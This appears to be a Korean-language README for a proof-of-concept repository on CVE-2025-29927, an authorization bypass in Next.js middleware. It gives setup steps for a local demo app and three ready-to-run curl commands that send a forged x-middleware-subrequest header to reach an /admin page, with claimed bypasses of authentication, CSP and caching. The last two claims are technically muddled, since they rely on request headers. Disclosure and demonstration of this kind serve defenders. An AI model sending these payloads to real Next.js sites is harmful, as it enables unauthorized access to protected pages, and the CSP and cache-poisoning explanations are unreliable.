
CVE-2025-29927 개념 증명
이 PoC는 Next.js 미들웨어의 취약점인 CVE-2025-29927을 시연합니다. 이 취약점은 공격자가 x-middleware-subrequest 헤더를 사용하여 인증, 권한 부여, CSP 메커니즘을 우회할 수 있게 합니다.
Next.js 버전 11.1.4 ~ 15.1.7
1️⃣ PoC 클론 및 설치
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
앱은 http://localhost:3000 에서 시작됩니다.
1- x-middleware-subrequest를 사용하여 무단 액세스를 얻습니다:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 예상 결과: 인증이 우회되었음에도 불구하고 응답은 admin admin을 반환합니다.

CSP가 미들웨어를 통해 적용되는 경우, 이를 우회합니다:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 예상 결과: CSP가 무시되어 악성 스크립트 실행이 허용됩니다.
잘못된 응답을 강제하여 캐시 중독을 악용합니다:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 예상 결과: 페이지가 잘못된 콘텐츠로 캐시되어 정상 사용자에게 장애를 일으킵니다.
🔍 발견자: Allam Rachid (zhero;) & Allam Yasser (inzo_)